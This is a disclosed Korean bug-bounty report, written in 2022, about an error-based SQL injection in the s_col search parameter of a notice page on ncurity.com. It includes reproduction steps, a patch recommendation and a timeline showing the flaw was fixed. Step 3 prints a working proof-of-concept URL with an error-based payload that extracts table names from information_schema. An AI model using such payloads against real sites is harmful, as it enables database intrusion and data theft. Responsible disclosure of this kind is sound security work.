s_col 파라미터를 통한 error based sqli

Writer 4b743376 Program 엔큐리티

WEB Resolved High No Reward Created: Mar 23, 2022 (2 years ago) Last Updated: Jul 6, 2022 (2 years ago)

Weakness

SQL injection

Description

개요

Notice 공지사항 페이지 s_col 파라미터에 ’ 삽입 시 에러 발생

재현 과정

[취약점 재현을 하기 위한 과정을 서술해 주세요]

  1. [step1]
    Notice 공지사항 페이지 소스 코드 242번 라인에서 249번 라인을 확인 시 s_col 파라미터 발견 가능
    Description

  2. [step2]
    검색 문자열이 s_txt 라는 점에서 근거 s_col 파라미터는 검색하는 카테고리 값을 담는 파라미터라고 판단하였고 이를 증명하기 위해 s_col 파라미터에 ’ 값을 입력한 결과 에러 구문 확인 가능
    url : http://www.ncurity.com/sub/1_6.php?s_txt=234&s_col=%27
    Description

  3. [step3]
    따라서 error based SQLI 공격이 가능 하며 이를 이용하여 내부 db 데이터 유출 가능
    poc : http://www.ncurity.com/sub/1_6.php?s_txt=234&s_col=1=2%20||%20(select%20concat((select%20(table_name)%20from%20information_schema.tables%20where%20table_type=%27base%20table%27%20limit%200,1),floor(rand(0)*2))a%20from%20(select%201%20union%20select%202%20union%20select%203)a%20group%20by%20a%20having%20min(0))–%20a
    Description

예상되는 취약점 발생 원인

[해당 취약점이 발생하는 예상 원인을 서술해 주세요]
s_txt 파리미터는 검색 문자열로 s_col 파라미터는 where문 뒤 검색하는 필드 명으로 필터 없이 들어가는 쿼리를 가지고 있을 가능성이 매우 높습니다.

패치 방법

[해당 취약점을 패치하기 위한 대응 방법을 서술해 주세요]
Prepared statement 사용 및 입력 값 필터

예상 결과 및 파급력

[해당 취약점으로 인해 예상되는 결과 및 파급력을 서술해 주세요. 시나리오가 포함되어도 좋습니다.]
db 내 주요 데이터 탈취 가능

기타사항 및 레퍼런스

[그 외에 추가할 내용이 있다면 이곳에 작성해주세요.(스크린샷, 로그 등)]

  • [첨부파일 / 레퍼런스]

Timeline

4b743376 submitted ticket. March 23, 2022 (2 years ago)
Steve BUGCAMP STAFF changed the status from 'Submitted' to 'In Progress'. March 29, 2022 (2 years ago)

제출해주신 티켓 확인 결과 Error base SQL injection 취약점을 확인하였습니다. 해당 티켓은 담당자에게 전달하도록 하겠습니다.

Steve BUGCAMP STAFF posted a comment. July 1, 2022 (2 years ago)

제보해주신 취약점이 패치되었습니다.
취약점의 영향력을 고려하여 위험도가 높음으로 변경되며, 취약점이 잘 패치되었는지 확인 부탁드립니다.

Steve BUGCAMP STAFF changed the severity from 'Critical' to 'High'. July 1, 2022 (2 years ago)
Steve BUGCAMP STAFF posted a comment. July 6, 2022 (2 years ago)

추가 이슈 없을 경우 프로그램 종료 후 핵티비티에 공개될 예정입니다.

엔큐리티 버그바운티 프로그램에 참여해주셔서 감사합니다.

4b743376 posted a comment. July 6, 2022 (2 years ago)

취약점 패치 여부 확인 했습니다. 감사합니다.

Steve BUGCAMP STAFF changed the status from 'In Progress' to 'Resolved'. July 6, 2022 (2 years ago)
Steve BUGCAMP STAFF changed the disclosure from 'Closed' to 'Disclosed (Full)'. July 6, 2022 (2 years ago)